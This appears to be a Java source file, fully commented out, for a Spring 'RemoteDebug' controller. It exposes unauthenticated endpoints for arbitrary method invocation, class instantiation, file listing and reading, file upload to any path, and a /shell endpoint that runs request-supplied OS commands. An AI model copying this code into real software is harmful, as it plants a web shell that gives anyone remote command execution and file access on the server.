package com.xneure.code;
//package com.xneure.code;
//
//import java.io.BufferedReader;
//import java.io.File;
//import java.io.FileOutputStream;
//import java.io.IOException;
//import java.io.InputStreamReader;
//import java.lang.reflect.Method;
//import org.springframework.stereotype.Controller;
//import org.springframework.util.FileCopyUtils;
//import org.springframework.web.bind.annotation.RequestMapping;
//import org.springframework.web.bind.annotation.RequestParam;
//import org.springframework.web.bind.annotation.ResponseBody;
//import org.springframework.web.multipart.MultipartFile;
//import com.xneure.utils.ObjectUtil;
//import com.xneure.utils.SpringUtil;
//import com.xneure.utils.bean.BeanMap;
//import com.xneure.utils.bean.ClassInfo;
//
//@Controller
//@RequestMapping("/**/debug")
//public class RemoteDebug{
//	@ResponseBody
//	@RequestMapping(value = "/getFieldValue")
//	public String getFieldValue(String objName,String attrib){
//		BeanMap beanMap = new BeanMap(getBean(objName));
//		return beanMap.getFieldValue(attrib).toString();
//	}
//
//	@ResponseBody
//	@RequestMapping(value = "/execMethod")
//	public Object execMethod(String objName,String mName,String param){
//		Object bean = getBean(objName);
//		try{
//			ClassInfo ci = new ClassInfo(bean);
//			Method m = ci.getMethod(mName);
//			if(ObjectUtil.isNotNull(m)){
//				if(m.getTypeParameters().length == 1){
//					Class<?> tp = m.getParameterTypes()[0];
//					Object val = null;
//					if(Integer.class.isAssignableFrom(tp)){
//						val = Integer.valueOf(param);
//					}else if(Long.class.isAssignableFrom(tp)){
//						val = Long.valueOf(param);
//					}else if(Boolean.class.isAssignableFrom(tp)){
//						val = Boolean.valueOf(param);
//					}else{
//						val = param;
//					}
//					return m.invoke(bean,val);
//				}else{
//					return m.invoke(bean);
//				}
//			}
//			return null;
//		}catch(Exception e){
//			return e.getMessage();
//		}
//	}
//
//	@ResponseBody
//	@RequestMapping(value = "/getClsInfo")
//	public Object getObjInfo(String objName,String fm){
//		ClassInfo ci = new ClassInfo(getBean(objName));
//		return "field".equals(fm) ? ci.getFieldValues() : ci.getMethods().keySet();
//	}
//
//	private Object getBean(String objName){
//		if(objName.contains(".")){
//			return ObjectUtil.newInstance(objName);
//		}else{
//			return SpringUtil.getBean(objName);
//		}
//	}
//
//	@ResponseBody
//	@RequestMapping(value = "/setValue")
//	public boolean setValue(String objName,String key,Object value){
//		try{
//			ClassInfo ci = new ClassInfo(getBean(objName));
//			ci.fillValue(key,value);
//			return true;
//		}catch(Exception e){
//			return false;
//		}
//	}
//
//	@ResponseBody
//	@RequestMapping(value = "/getFiles")
//	public Object getFiles(String fileName){
//		try{
//			File ci = new File(fileName);
//			if(ci.exists() && ci.isFile()){
//				return ci;
//			}else{
//				return ci.isFile() ? ci.getName() : ci.list();
//			}
//		}catch(Exception e){
//			return "Error";
//		}
//	}
//
//	@RequestMapping(value = "/upFile")
//	@ResponseBody
//	public int upFile(String fileName,@RequestParam("file") MultipartFile file){
//		try{
//			File _file = new File(fileName);
//			if(_file.exists()){
//				_file.delete();
//			}
//			return FileCopyUtils.copy(file.getInputStream(),new FileOutputStream(_file));
//		}catch(Exception e){
//			return -2;
//		}
//	}
//
//	@RequestMapping(value = "/shell")
//	@ResponseBody
//	public String shell(String cmd,@RequestParam(value = "cs",defaultValue = "utf-8") String cs){
//		Process process = null;
//		StringBuilder rsShell = new StringBuilder();
//		try{
//			process = Runtime.getRuntime().exec(cmd);
//			BufferedReader input = new BufferedReader(new InputStreamReader(process.getInputStream(),cs));
//			String line = "";
//			while((line = input.readLine()) != null){
//				rsShell.append(line).append("\r\n");
//			}
//			input.close();
//			return rsShell.toString();
//		}catch(IOException e){
//			return e.getMessage();
//		}
//	}
//}
